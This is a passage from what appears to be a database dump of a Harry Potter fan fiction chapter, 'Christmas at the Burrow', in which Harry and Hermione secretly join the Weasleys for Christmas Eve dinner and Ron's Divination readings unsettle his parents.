only because she had never heard of the Reverend Montague Summers and didn&#8217;t get my in-joke.</p>\n\n<p>Until later&#8230;</p> '),
	(260, 8, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s notes:&nbsp; I\'d like to once again thank my beta readers, Cara Hicks and Ama for providing valuable feedback on this chapter. This happens to be one of my favourite chapters because the emotions are so real. That realism also makes it a tad uncomfortable in spots, but hopefully no one will need therapy after reading this. ;-)</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Eight &#8211; Christmas at the Burrow</p>\n\n<p>Harry&#8217;s fear of how students from the other houses would respond to the latest controversy in <i>The</i>\n\n<i>Daily Prophet </i>wound up being overblown.&nbsp; He kept getting congratulations for the victory over Slytherin in the hallways and at mealtimes from Ravenclaw and Hufflepuff students.&nbsp; He still received glares from the Slytherins, but that wasn&#8217;t anything different than what he had gotten from them for years. </p>\n\n<p>That week in Herbology class, Justin Finch-Fletchley came up to Harry and shook his hand.</p>\n\n<p>&#8220;Harry, that was a great game.&nbsp; I was really impressed by your team&#8217;s defensive moves.&nbsp; I&#8217;ve got a cousin in <st1:city><st1:place>Montreal</st1:place></st1:city> that we&#8217;ve visited a few times.&nbsp; So, I&#8217;ve played hockey with him and that really reminded me of that sport.&nbsp; Especially the mask.&nbsp; It was really cool.&#8221;</p>\n\n<p>&#8220;Thanks, Justin.&#8221;</p>\n\n<p>&#8220;I couldn&#8217;t believe the crap that fish wrapper of a Wizarding daily wrote about you.&nbsp; Honestly, there was nothing nefarious in that game.&nbsp; They ought to just stick to printing the horoscope, the obits, a crossword puzzle and call it a day.&#8221;</p>\n\n<p>Harry nodded appreciatively.</p>\n\n<p>&#8220;I liked the mask idea so much, I wrote my folks and they&#8217;ll be sending me one,&#8221; said Justin.&nbsp; &#8220;I hope to have it in time to paint a badger&#8217;s face on it before our big match against Ravenclaw in three weeks.&nbsp; Plus, we&#8217;re working on having our own special chants to help spook the opposing team.&nbsp; You really inspired us, Potter!&#8221;</p>\n\n<p>Professor Sprout cleared her throat loudly, &#8220;Yes, that was an impressive display and I&#8217;m sure that we&#8217;d all like to talk endlessly about it.&nbsp; However, if you&#8217;ll turn to the plants that are set out at your workstations, perhaps we could begin our lesson.&nbsp; Today&#8217;s plant is belladonna.&nbsp; We&#8217;ll be discussing its magical properties and how best to grow it. &#8221;</p>\n\n<p>Justin turned his back to Harry and concentrated on the green plant with violet blossoms that was before him.</p>\n\n<p>*</p>\n\n<p>Harry had found that this year&#8217;s studies were not as difficult as they had been in previous years.&nbsp; He credited that to the intense tutoring he had received over the summer with Professor Figg and Sirius.&nbsp; He found it difficult at times to not appear bored in class when he could perform a task with little or no effort.&nbsp; This was especially difficult in Transfiguration.&nbsp; A class that he had previously had only a passing interest in.&nbsp; Now he found that Professor McGonagall&#8217;s choice of items to transfigure were mundane and very easy to transform.</p>\n\n<p>Harry had been staring out the window when Professor McGonagall stood in front of his desk, glaring at him.&nbsp; &#8220;Well, Mr. Potter.&nbsp; Aren&#8217;t you even going to attempt today&#8217;s lesson?&nbsp; Or are you too busy contemplating the weather outside?&#8221;</p>\n\n<p>Harry absentmindedly waved his wand over the fern and it turned instantly into a lace doily.&nbsp; He looked up and gave a small smile.</p>\n\n<p>&#8220;Why didn&#8217;t you attempt this earlier?&#8221; she asked sharply.</p>\n\n<p>&#8220;I guess I&#8217;m just not a doily kind of guy,&#8221; he said shrugging his shoulders.</p>\n\n<p>&#8220;You will see me after class, Mr. Potter.&#8221;</p>\n\n<p>Harry gulped and nodded.</p>\n\n<p>After the other students filed out of the classroom, Harry walked up slowly to Professor McGonagall&#8217;s desk.&nbsp; &#8220;You wanted to see me?&#8221;</p>\n\n<p>&#8220;Yes, Harry.&nbsp; I&#8217;ve been wondering how you advanced so quickly in Transfiguration lessons.&nbsp; It seems that you don&#8217;t even put forth any effort in this class anymore.&nbsp; You simply perform without any struggle.&nbsp; You used to have great difficulty.&nbsp; Do you care to tell me what has changed?&#8221;</p>\n\n<p>Harry&#8217;s mind started working overtime.&nbsp; Clearly Dumbledore had not taken Professor McGonagall into his confidence about Harry&#8217;s private lessons over the summer.&nbsp; Professor Figg had implored him to not tell anyone about knowing her outside of school.&nbsp; He would have thought that Professor Figg would have discussed this with her aunt, but apparently she hadn&#8217;t.</p>\n\n<p>&#8220;Umm,&#8221; he cast around for a good reason.&nbsp; &#8220;I ah, studied yoga over the summer.&nbsp; It really helped me to, uh, concentrate.&nbsp; I can now visualize the items clearly and I can see the transformation happen in my mind.&nbsp; Then the transfiguration simply follows.&#8221;</p>\n\n<p>&#8220;Yoga?&nbsp; What is that?&#8221;</p>\n\n<p>&#8220;A Muggle meditation and exercise regimen.&nbsp; It&#8217;s from <st1:place>Asia</st1:place> and has been around for centuries.&#8221;</p>\n\n<p>&#8220;Hmm, well perhaps you could offer some book titles on the subject.&nbsp; Perhaps I could assign that for summer reading or add it to next year&#8217;s class list.&#8221;</p>\n\n<p>&#8220;Well, I mostly watched it on the telly.&nbsp; If students are from Wizarding families, they probably won&#8217;t have access to television.&nbsp; I didn&#8217;t read any books on the subject.&nbsp; I just did it while I was watching,&#8221; he quickly lied.</p>\n\n<p>&#8220;If you come across any books on the subject, please let me know.&nbsp; And Harry, perhaps you could give some private lessons to Neville.&nbsp; He could certainly use the help.&nbsp; Thankfully he hasn&#8217;t transfigured any more of his body parts to objects recently, but he needs to concentrate better.&nbsp; That is all.&#8221;</p>\n\n<p>Harry nodded as he quickly left the classroom.&nbsp; He was glad that his lies seemed to satisfy her.</p>\n\n<p>*</p>\n\n<p>In mid December, Professor Figg had also asked to speak with Harry after class.&nbsp; He started to get a little nervous as to what this was going to be about.&nbsp; He hoped it wasn&#8217;t something bad about Sirius.&nbsp; Then she announced that she also needed to speak with Hermione.&nbsp; Ron lingered after class wondering why it was that his two best friends were being held back.</p>\n\n<p>&#8220;You&#8217;re excused, Mr. Weasley,&#8221; Professor Figg said.</p>\n\n<p>&#8220;Well, I uh&#8230;&#8221; stammered Ron.</p>\n\n<p>&#8220;Why don&#8217;t you just go to dinner?&nbsp; Your friends will be joining you soon.&#8221;</p>\n\n<p>He gave a worried look in their direction, but took his book bag and left closing the door behind him.</p>\n\n<p>&#8220;So Harry and Hermione.&nbsp; The headmaster requested to speak with both of you and asked that I join in the discussion,&#8221; she said as she absentmindedly tugged at an ear.</p>\n\n<p>&#8220;Umm, okay,&#8221; Harry said as he pushed up his glasses.</p>\n\n<p>They quickly walked to Dumbledore&#8217;s office where he was expecting them.</p>\n\n<p>&#8220;Come in, come in.&nbsp; Have a seat,&#8221; he said as he gestured about the room.&nbsp; &#8220;Now Harry, I must tell you that I&#8217;ve had a passionate request by Mrs. Weasley about you and Miss Granger joining the Weasley family for Christmas.&nbsp; It seems that she has missed having large family gatherings at the holidays.&nbsp; She knows that her son Ron has stayed here in part to keep you company, same as with Miss Granger.&nbsp; She also regrets that I did not allow you to stay with them at all this past summer.&nbsp; I told her that it was not safe for you to spend any extended period of time at the Burrow.&nbsp; However, a few hours might be permissible&#8230;&#8221;</p>\n\n<p>&#8220;Really?&#8221; Harry smiled and looked at Hermione.&nbsp; &#8220;I&#8217;d love that.&nbsp; How about you?&#8221;</p>\n\n<p>Hermione nodded.</p>\n\n<p>&#8220;So you&#8217;d like to go there for Christmas Eve dinner?&#8221; Dumbledore asked.</p>\n\n<p>&#8220;Yes,&#8221; Harry and Hermione said in unison.</p>\n\n<p>&#8220;Well, part of what convinced me that it might be safe is that she promised that there would be six fully trained wizards there.&nbsp; However, and this is where Professor Figg comes in, I would insist that there be security on the outside perimeter of the Weasley house.&nbsp; She will accompany you to the Burrow and stand watch outside.&nbsp; She&#8217;ll also be joined by an associate.&nbsp; Hopefully, two trained Aurors can perform surveillance for a few hours so you can enjoy the holidays with a family for a change,&#8221; Dumbledore said smiling.</p>\n\n<p>Professor Figg had a look of utmost seriousness on her face.</p>\n\n<p>&#8220;Harry, Hermione, I must tell you that no one is to know of your plans,&#8221; she began.&nbsp; &#8220;That is because we don&#8217;t want to announce to anyone that you might be in a vulnerable place.&nbsp; Your joining the Weasley family for Christmas Eve dinner will come as a happy surprise to Ron, Ginny and the twins.&nbsp; I&#8217;m sure that their parents will tell them as soon as they arrive home.&nbsp; I will have to make arrangements to use the Floo network at an establishment in Hogsmeade that will allow for your passage both ways.&nbsp; But that is something that I shall have to worry about.&nbsp; You only need to think about having a good time and not forgetting your presents.&#8221;</p>\n\n<p>*</p>\n\n<p>Harry had found it difficult not telling Ron about his plans on going to the Burrow.&nbsp; Mostly because Ron kept apologizing to him for not staying at Hogwarts over the holidays.</p>\n\n<p>&#8220;Sorry Harry, but Mum wants to have a big Christmas at home this year.&nbsp; We haven&#8217;t had one since I was ten.&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry Ron.&nbsp; It&#8217;s Christmas.&nbsp; It&#8217;s your mum.&nbsp; What&#8217;s to argue about?&#8221;</p>\n\n<p>&#8220;Ooooh,&#8221; Ron muttered under his breath.&nbsp; &#8220;You don&#8217;t want to argue with my mum.&#8221;</p>\n\n<p>Harry had seen examples of her temper with the Flying Ford Anglia and Ton-Tongue Toffee incidents.&nbsp; He knew that she had a formidable temper and felt that arguing with her would be most unpleasant.</p>\n\n<p>&#8220;She&#8217;s your mum.&nbsp; You should be thankful you have one,&#8221; Harry said.</p>\n\n<p>Ron cast his eyes downward at that remark.&nbsp; Harry immediately regretted having made that statement.</p>\n\n<p>&#8220;Sorry, Ron.&nbsp; I shouldn&#8217;t have said that.&#8221;</p>\n\n<p>&#8220;No, you&#8217;re right Harry.&nbsp; I sometimes take my parents for granted.&nbsp; I shouldn&#8217;t.&nbsp; Anyway, here&#8217;s your present.&nbsp; Just don&#8217;t open it before Christmas morning,&#8221; Ron said as he handed Harry a wrapped package.</p>\n\n<p>&#8220;Thanks, Ron and here&#8217;s yours,&#8221; Harry said as he handed his friend a gift.&nbsp; &#8220;Don&#8217;t worry about me.&nbsp; I&#8217;m looking forward to having a nice Christmas.&nbsp; Heck, this year I don&#8217;t even have to worry about making a fool of myself on the dance floor in front of the whole school.&#8221;</p>\n\n<p>&#8220;That&#8217;s for sure,&#8221; Ron laughed as he grabbed his packed trunk.&nbsp; &#8220;See ya, Harry.&nbsp; Happy Christmas.&#8221;</p>\n\n<p>&#8220;Happy Christmas, Ron,&#8221; Harry said as he watched his friend leave for the Hogwarts Express.&nbsp; <i>I&#8217;ll see you tomorrow night,</i> he thought to himself.&nbsp; <i>Sorry I had to lie to you.&nbsp; Again.</i></p>\n\n<p>*</p>\n\n<p>The next day Harry and Hermione met Professor Figg outside the portrait of the Fat Lady.&nbsp; As promised, Harry had brought his Invisibility Cloak for him and Hermione to walk under.&nbsp; Professor Figg didn&#8217;t want to take any chances for them to be seen walking to Hogsmeade.&nbsp; She felt that a faculty member could certainly walk to the village without causing any questions, but students were only allowed there during certain weekends.</p>\n\n<p>Harry found that after a brief bit of walking that it was very tiresome for him to use both his hands to hold the cloak up over both their heads.&nbsp; His arms started to ache.</p>\n\n<p>&#8220;Hermione, would you mind helping out with the cloak?&nbsp; My arms are killing me.&#8221;</p>\n\n<p>&#8220;Sure, Harry.&nbsp; How can I help?&#8221; </p>\n\n<p>&#8220;Well, maybe if we walked with one arm around each other we could both hold up the cloak with one arm.&nbsp; Later we could switch sides when our arms get tired.&nbsp; Also that way I won&#8217;t step on your feet as often.&#8221;</p>\n\n<p>&#8220;Sounds good,&#8221; Hermione said.&nbsp; &#8220;Besides it might help us stay warm.&nbsp; This wind is pretty wicked.&#8221;</p>\n\n<p>As she said that a gust of wind risked blowing the cape far away.&nbsp; Luckily Harry had been holding on to the silky fabric with his clenched hands.&nbsp; As the wind&#8217;s fury died down, Hermione placed her arm around Harry&#8217;s back.&nbsp; He followed suit and they walked slowly down the long path to the village.</p>\n\n<p>Harry hadn&#8217;t shared his cloak with anyone since their third year when the three friends went to visit Hagrid the night Buckbeak was scheduled to be executed.&nbsp; This time he felt far different as he was almost embracing a young woman who was clinging to him hoping to conserve body heat.&nbsp; Suddenly, the situation made him feel very warm and very guilty.&nbsp; After all, Hermione was one of his best friends and she <i>was</i> dating someone else.&nbsp; Still he couldn&#8217;t help but notice that walking arm in arm with her felt natural and very enjoyable.</p>\n\n<p>As they drew closer to the village, Professor Figg told them that she would hold the door open for them at the Three Broomsticks.&nbsp; She had arranged with Madam Rosmerta to use a fireplace in her back room.&nbsp; As Professor Figg held the door open, Harry and Hermione squeezed past her.</p>\n\n<p>&#8220;Hey, yer lettin&#8217; in cold air.&nbsp; Close the door already!&#8221; a gruff looking patron growled.</p>\n\n<p>&#8220;Sorry.&nbsp; The hem of my cloak got caught on the heel of my boots,&#8221; she said as she reached downward and pretended to yank at the bottom of her cloak.</p>\n\n<p>Madam Rosmerta looked up from behind the bar and made a motion towards Professor Figg.&nbsp; Harry and Hermione followed the two women into a back room that was dark and dusty.&nbsp; Harry figured that it might be reserved for special parties, but that it hadn&#8217;t been used in quite awhile.&nbsp; The bar owner started a fire with a simple incantation and held out a flowerpot to Professor Figg.&nbsp; The teacher in return passed her a few galleons.</p>\n\n<p>&#8220;Kids, it&#8217;s time to show yourselves,&#8221; said Professor Figg. </p>\n\n<p>The Invisibility Cloak came off and Harry was surprised by a small squeeze that Hermione gave him before she dropped her arm from his side.&nbsp; He looked at her and she gave him a mischievous smile.</p>\n\n<p>&#8220;I will be following you to the Burrow,&#8221; said Professor Figg.&nbsp; &#8220;But I will Apparate outside of it.&nbsp; There I will be meeting my partner and we will be providing surveillance on the exterior.&nbsp; If there are any security problems, you will need to return by Floo here immediately.&nbsp; Otherwise, we will return here at <st1:time minute="0" hour="20">8 pm</st1:time>.&nbsp; Molly will give me a signal that you are leaving and I will meet you back here.&#8221;</p>\n\n<p>She looked at them both.&nbsp; &#8220;Are you ready?&#8221;</p>\n\n<p>They both nodded.</p>\n\n<p>&#8220;Harry, you go first and why don&#8217;t you let me hold onto your cloak?&#8221;</p>\n\n<p>He nodded and handed it to her.&nbsp; Then he took a pinch of the offered Floo powder.&nbsp; He called out &#8220;The Burrow!&#8221; as he stepped into the flames.&nbsp; Harry found himself tumbling through endless grates until he felt like he was going to be sick.&nbsp; Finally he emerged at the hearth at the Weasley household.&nbsp; He stood up and started dusting the soot off his clothes and saw Ron&#8217;s shocked face.<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&nbsp; What are you doing here?&#8221;</p>\n\n<p>&#8220;Er, surprise!&nbsp; Happy Christmas, Ron.&#8221;</p>\n\n<p>&#8220;Umm,&#8221; he sniffed angrily.&nbsp; &#8220;You!&nbsp; How could you keep this from me!&nbsp; You kept letting me apologize for spending the holidays with my family.&#8221;</p>\n\n<p>&#8220;It was supposed to be a surprise, Ron,&#8221; huffed Mrs. Weasley.&nbsp; &#8220;I thought you&#8217;d be <i>happy</i> that I arranged to have your friends come and spend the day with us.&nbsp; It wasn&#8217;t easy you know.&nbsp; There were a lot of details that had to be worked out before this could happen.&#8221;</p>\n\n<p>&#8220;I <i>am</i> happy, but&#8230;you could have told me last night,&#8221; he said looking angrily at his mother.</p>\n\n<p>&#8220;Yes we could have,&#8221; she said dismissively.&nbsp; &#8220;Everyone had to keep this a secret for Harry&#8217;s safety.&nbsp; Dumbledore insisted on that as a condition before he gave his approval.&nbsp; And since we had kept it from you that long, what difference would a few more hours make?&#8221; </p>\n\n<p>She then turned to Harry and opened her arms.&nbsp; &#8220;Come here, Harry!&nbsp; I&#8217;m glad you could come and join our family for dinner.&nbsp; Happy Christmas.&#8221;</p>\n\n<p>She wrapped him up in a big warm hug.&nbsp; Charlie gave him a hearty clap on the shoulder and started boasting to Bill about Harry&#8217;s prowess with the Hungarian Horntail.</p>\n\n<p>Just then there was more rumbling from the fireplace as Hermione landed.&nbsp; Mrs. Weasley went forward and welcomed her warmly.&nbsp; This was followed by the whole Weasley clan and Winky giving both guests welcoming hugs and handshakes.&nbsp; By this time, Ron seemed to have gotten over his shock and anger at Harry for not telling him about his Christmas plans.&nbsp; Harry handed presents (lavender sachets) to Mrs. Weasley and Ginny.</p>\n\n<p>&#8220;Thanks for having me here, Mrs. Weasley.&#8221; </p>\n\n<p>Percy stepped forward to Hermione and gestured towards his girlfriend, Penelope Clearwater.</p>\n\n<p>&#8220;You two remember each other, don&#8217;t you?&#8221; he asked.</p>\n\n<p>&#8220;Of course we do, dear.&nbsp; Remember?&nbsp; Hermione and I were coming out of the library together when &#8211;&#8221;</p>\n\n<p>&#8220;Penny!&nbsp; I need some help setting out the appetizers,&#8221; Mrs. Weasley commanded as she linked her arm around the young woman&#8217;s elbow and ushered her into the kitchen.</p>\n\n<p>A quiet pall was cast over the room and Harry looked around at all the uncomfortable looking faces.</p>\n\n<p>&#8220;I guess your mum didn&#8217;t like where that conversation was going.&#8221;</p>\n\n<p>&#8220;You catch on fast Harry,&#8221; said Bill.&nbsp; &#8220;Certain topics become off-limits.&#8221;</p>\n\n<p>&#8220;Yeah, like your last girl friend,&#8221; teased Charlie.</p>\n\n<p>&#8220;Shut up, Charlie.&nbsp; I don&#8217;t see you bringing anyone around to meet the parents.&#8221;</p>\n\n<p>&#8220;I know better than that,&#8221; Charlie snorted.&nbsp; &#8220;See Harry, Bill had just started dating this woman when everyone visited him in <st1:city><st1:place>Cairo</st1:place></st1:city>.&nbsp; He brought her to dinner and Mum started giving her the third degree and&#8230;&#8221;</p>\n\n<p>&#8220;She got so frightened we think she&#8217;s still hiding in a secret chamber in one of the pyramids,&#8221; Fred laughed.</p>\n\n<p>&#8220;Boys, come on now.&nbsp; She&#8217;s your mother,&#8221; said Mr. Weasley.</p>\n\n<p>&#8220;Yeah?&nbsp; Look at how she&#8217;s running Penny ragged in there,&#8221; George offered.</p>\n\n<p>Harry had to agree with him.&nbsp; Mrs. Weasley was directing Penny and Winky inside the kitchen and sending them both repeatedly in different directions with food.</p>\n\n<p>&#8220;So Perce, how come you wanted to subject poor Penny to this treatment?&nbsp; I thought you loved her,&#8221; joked Fred.</p>\n\n<p>&#8220;I don&#8217;t know what you&#8217;re talking about.&nbsp; Mum&#8217;s treating her like one of the family,&#8221; Percy said defensively.&nbsp; &#8220;Besides, we&#8217;re having dinner tomorrow night over at her parents&#8217; house.&#8221;</p>\n\n<p>Hermione and Ginny looked at each other and started gravitating towards the kitchen.</p>\n\n<p>&#8220;Is there anything we can do to help?&#8221; asked Hermione.</p>\n\n<p>&#8220;No, dear.&nbsp; We&#8217;ve pretty much got things under control right now,&#8221; Mrs. Weasley answered.</p>\n\n<p>Hermione and Ginny started snacking on the cheese and crackers that were set out.&nbsp; </p>\n\n<p>&#8220;Winky, I have something to tell you,&#8221; Hermione said.</p>\n\n<p>&#8220;What is that?&#8221; squeaked the house-elf.</p>\n\n<p>&#8220;I think Dobby misses you.&nbsp; He talks about you all the time and even mentioned something about wanting to come and visit you.&#8221;</p>\n\n<p>&#8220;Dobby visit Winky?&#8221; she looked expectantly at Mrs. Weasley.&nbsp; &#8220;C-could I have a visitor, Mrs. Weasley?&#8221;</p>\n\n<p>&#8220;Of course you can Winky.&nbsp; Just not tonight.&nbsp; I&#8217;ve got my hands full as it is.&#8221;</p>\n\n<p>Harry and Ron came over and started helping themselves to the nibbles.</p>\n\n<p>&#8220;Umm, Hermione Granger, matchmaker to the elves,&#8221; Ron sniffed.</p>\n\n<p>&#8220;Well, yes.&nbsp; You can call me Yente,&#8221; she replied licking her lips.</p>\n\n<p>&#8220;Who?&#8221; Ron asked.</p>\n\n<p>Hermione rolled her eyes at him and turned to Penelope.&nbsp; &#8220;So Penny, what have you been up to?&#8221; </p>\n\n<p>&#8220;I&#8217;ve been working at Flourish and Blotts.&nbsp; I&#8217;m now being trained to be their assistant book buyer,&#8221; Penelope said proudly.</p>\n\n<p>Hermione&#8217;s jaw dropped.&nbsp; She then gave Ron a backhanded smack on his arm.&nbsp; &#8220;Ron, how come you never told me she worked at the bookstore in Diagon Alley?&#8221;</p>\n\n<p>&#8220;Sorry.&nbsp; It just never came up,&#8221; he replied lamely.</p>\n\n<p>&#8220;Oh, Penny.&nbsp; We neeeeed to talk,&#8221; pleaded Hermione.&nbsp; &#8220;I have got so many ideas.&nbsp; Especially your section on Muggle titles.&nbsp; It is totally inadequate.&#8221;</p>\n\n<p>Mrs. Weasley turned around from the stove and bumped into Ginny.&nbsp; This caused her to drop a pot full of green beans on the floor.</p>\n\n<p>&#8220;Why is it that you can have a large house and everyone always stands <i>in the</i>\n\n<i>kitchen?</i>&nbsp;&nbsp; Come on and get out of here.&nbsp; Ginny, why don&#8217;t you show Penny and Hermione to your room?&#8221;</p>\n\n<p>Hermione and Ginny exchanged knowing glances as they left the kitchen.</p>\n\n<p>&#8220;Mum always gets a bit stressed over the holidays,&#8221; Ginny whispered.&nbsp; &#8220;Don&#8217;t worry.&nbsp; It has nothing to do with you being here.&nbsp; She feels responsible for everything to be &#8216;perfect,&#8217; but she doesn&#8217;t know how to relax and enjoy herself.&nbsp; So we all wind up walking on eggshells around her.&#8221;</p>\n\n<p>&#8220;Why don&#8217;t we go to your room for a bit?&nbsp; Just to get out of her way,&#8221; suggested Penny.&nbsp; &#8220;Hermione, you said you had some ideas for Muggle authors that we ought to carry?&#8221;</p>\n\n<p>The three young women started walking up the stairs.&nbsp; &#8220;First you need to start with William Shakespeare.&nbsp; Then of course, Charles Dickens, Jane Austen, the Bronte sisters and&#8230;&#8221; her voice trailed off as she entered the room. </p>\n\n<p>Harry and Ron had moved in front of the fireplace to escape Mrs. Weasley&#8217;s wrath.</p>\n\n<p>&#8220;Honestly,&#8221; Ron said as he threw his hands in the air, &#8220;that&#8217;s why I never said anything to Hermione about Penny working at a bookstore.&nbsp; I didn&#8217;t want her to start giving me a laundry list of books that she thinks I should have read.&nbsp; Tell me Harry, have you read all of those?&#8221;</p>\n\n<p>&#8220;I&#8217;ve seen a couple movies of Shakespeare&#8217;s plays and I&#8217;ve seen Dickens&#8217; &#8216;A Christmas Carol&#8217; on the telly.&nbsp; But, no I&#8217;ve never actually read any of them,&#8221; Harry said shrugging his shoulders.</p>\n\n<p>&#8220;<i>Thank you</i>, Harry.&#8221;</p>\n\n<p>&#8220;Penny, come in the kitchen.&nbsp; Penny, get out of the kitchen.&nbsp; Yo-yo,&#8221; Fred said under his breath.</p>\n\n<p>Ron nodded and gave a small laugh.&nbsp; &#8220;Hey Harry, maybe I should try to do that homework for Divination that Trelawney gave us.&nbsp; Would you transcribe it for me?&#8221;</p>\n\n<p>&#8220;Sure and I&#8217;ll learn from watching how you do it.&#8221;</p>\n\n<p>They walked cautiously back into the kitchen.</p>\n\n<p>&#8220;Hey Mum, I hate to bother you,&#8221; Ron said in as pleasant a voice as he could muster, &#8220;but could you make a special tea for me?&nbsp; I have a bit of Divination homework to do and thought I might do it while we&#8217;re waiting for dinner.&nbsp; Trelawney gave us a special tea to help with visions.&#8221;</p>\n\n<p>&#8220;Divination?&nbsp; I never understood how it works, but it certainly can be fun.&nbsp; I check my horoscope every day before I go out of the house,&#8221; Mrs. Weasley said.&nbsp; &#8220;I&#8217;ll have that special tea made for you in a jiffy.&#8221;</p>\n\n<p>Ron handed his mother the tea that was in an envelope.</p>\n\n<p>&#8220;Oh and I&#8217;ll need a pan,&#8221; he said as he was rummaging through a cupboard.&nbsp; &#8220;Can I use this one?&nbsp; Or will you be needing it?&#8221;</p>\n\n<p>Mrs. Weasley looked up and waved at him that it was fine.&nbsp; Ron held it under the faucet until it was half full and then slowly carried it back to the living room.</p>\n\n<p>Fred rolled his eyes towards Ron.</p>\n\n<p>&#8220;Yeah, Mum is sooo thrilled with Divination,&#8221; he said with his voice lowered.&nbsp; &#8220;One of her friends read her tea leaves years ago and she&#8217;s used tea bags ever since.&#8221;</p>\n\n<p>&#8220;That was back when you and George were still in nappies,&#8221; Bill said.&nbsp; &#8220;She was given some bad news and Mum&#8217;s just a bit superstitious at times.&#8221;</p>\n\n<p>&#8220;That&#8217;s an understatement,&#8221; said George.</p>\n\n<p>&#8220;So who&#8217;s game for letting me give them a reading?&#8221; Ron asked.</p>\n\n<p>&#8220;Count me out,&#8221; said Bill.&nbsp; &#8220;I deal with enough curses and such at work.&#8221;</p>\n\n<p>&#8220;Don&#8217;t look at me,&#8221; said Fred.</p>\n\n<p>&#8220;Why don&#8217;t you two show me that business plan you were telling me about?&#8221; Bill asked as Fred and George started up the stairs.</p>\n\n<p>&#8220;How about you Charlie?&nbsp; Or are you chicken, too?&#8221; Ron said with an edge to his voice.</p>\n\n<p>&#8220;Okay, little brother.&nbsp; Go ahead and do your worst,&#8221; Charlie said ruffling Ron&#8217;s hair.</p>\n\n<p>&#8220;Anyone else?&#8221; he asked.</p>\n\n<p>&#8220;Sure, why not?&#8221; exclaimed Percy.</p>\n\n<p>&#8220;All right, I&#8217;ll do it too,&#8221; Mr. Weasley sighed.</p>\n\n<p>Mrs. Weasley then bustled back into the room and delivered Ron&#8217;s tea.&nbsp; Harry stifled a smile when he saw that she had used a tea ball so there would only be a few stray tea leaves at the bottom of the cup.</p>\n\n<p>Ron drank the tea quickly and tried to concentrate.&nbsp; Percy sat down close to Ron and clasped their hands together.&nbsp; Ron&#8217;s head started to roll a little and his eyes became dilated.&nbsp; He looked at the pan of water that he had placed on the table before him.&nbsp; Ron&#8217;s brows became furrowed.&nbsp; Harry sat with his quill ready to transcribe everything. </p>\n\n<p>&#8220;I see two different visions of you.&nbsp; One where you look very successful in expensive robes and a fancy office, but you are alone.&nbsp; The other vision you are surrounded by family here at the Burrow at Christmas time with kids at your knee and Penelope at your side.&#8221;</p>\n\n<p>Percy smiled broadly.&nbsp; &#8220;The truth will soon be revealed, little brother,&#8221; he said cryptically.&nbsp; &#8220;Who&#8217;s next?&#8221;</p>\n\n<p>Charlie moved forward and grasped his brother&#8217;s hands.&nbsp; Ron&#8217;s brow furrowed.</p>\n\n<p>&#8220;I see a large ornate sword hanging above your head,&#8221; Ron said with a chill in his voice.</p>\n\n<p>&#8220;Nice try little brother,&#8221; Charlie said laughing and shaking his head.&nbsp; &#8220;But I guess you&#8217;re just seeing that I work with dragons on a daily basis.&#8221; </p>\n\n<p>Mr. Weasley then took Charlie&#8217;s place next to Ron.&nbsp; He looked a bit nervous, but held his hands out.&nbsp; Ron held them for a long time and then spoke quietly.</p>\n\n<p>&#8220;You are walking down a long hallway with two doors at the end.&nbsp; Behind one is a hooded figure that you fear.&nbsp; Behind the second door there is a large fire and a spinning wheel of fortune with many names written on it.&nbsp; The wheel is slowly coming to a stop with a snick, snick, snick.&#8221;</p>\n\n<p>Mr. Weasley grew very pale.&nbsp; He dropped Ron&#8217;s hands and walked away without saying a word.</p>\n\n<p>Mrs. Weasley came back into the room and was brushing her hands off on her apron.&nbsp; </p>\n\n<p>&#8220;Arthur, if you don&#8217;t mind carving the turkey.&nbsp; Dinner will be served in a few minutes.&#8221;</p>\n\n<p>Mr. Weasley stood and walked silently into the kitchen.</p>\n\n<p>&#8220;Hey Mum, why don&#8217;t you let Ron give you a reading?&#8221; Charlie urged.&nbsp; &#8220;It only takes him a few minutes.&#8221; </p>\n\n<p>&#8220;Well, all right,&#8221; she sighed.&nbsp; </p>\n\n<p>Ron grasped her hands and his face twitched.&nbsp; He shook his head slightly and frowned.&nbsp; &#8220;I see a secret door.&nbsp; You are hiding something behind it.&nbsp; The door is opening and there is a large, long box that is locked tight.&nbsp; Your secret will soon be known.&#8221;</p>\n\n<p>&#8220;What do you think you are doing, Ronald Weasley?&#8221; she said angrily as she stood up abruptly.&nbsp; &#8220;I expected a reading and not to sit here and be insulted by you.&nbsp; How dare you insult your mother!&nbsp; That&#8217;s it!&nbsp; I will have no more of this nonsense in this house.&nbsp; I don&#8217;t care how many readings you are asked to do for class, you won&#8217;t be doing any more of them.&nbsp; Do you hear me? And right before Christmas!&nbsp; The nerve!&#8221;</p>\n\n<p>Mrs. Weasley stormed back into the kitchen.&nbsp; Harry and Ron exchanged worried looks.&nbsp; Ron had grown very pale.&nbsp; His mother soon returned and started ushering everyone to wash up and sit down at the table.&nbsp; It was clearly apparent that her mood was not going to be lifted any time soon.&nbsp;&nbsp; It was beginning to pervade the rest of the room.</p>\n\n<p>&#8220;Come on and clear this living room and make room for another dining table,&#8221; she barked.&nbsp; &#8220;Oh and someone go tell everyone upstairs to come down here at once.&#8221;</p>\n\n<p>Mrs. Weasley took her wand and pointed it to the couch and chairs.&nbsp; They shrunk to the size of dollhouse furniture.&nbsp; She then picked them up off the floor and placed them in a shadow box on the wall.&nbsp; She in turn removed a miniature dining table and chairs from the wall hanging and placed them in the centre of the floor.&nbsp; With a wave of her wand they became full sized.&nbsp; Winky quickly placed a tablecloth on the table and hurriedly put the dishes and silverware in their place.&nbsp; </p>\n\n<p>As Hermione walked into the living room she counted the place settings at the two tables.&nbsp; &#8220;Wait a minute.&nbsp; There are only place settings for twelve.&#8221;</p>\n\n<p>Winky was busily bringing food to the tables.&nbsp; Hermione looked at the elf.</p>\n\n<p>&#8220;Winky, where are you eating dinner?&#8221; she asked.</p>\n\n<p>&#8220;In the kitchen, Miss Hermione.&#8221;</p>\n\n<p>&#8220;No you won&#8217;t.&nbsp; You helped make this dinner and you should enjoy the fruits of your labour by eating with us.&#8221;</p>\n\n<p>&#8220;No, no, Miss.&nbsp; Winky is fine eating in the kitchen.&nbsp; This is a special evening.&nbsp; The Weasleys need to celebrate.&nbsp; They don&#8217;t need an elf in the way,&#8221; insisted 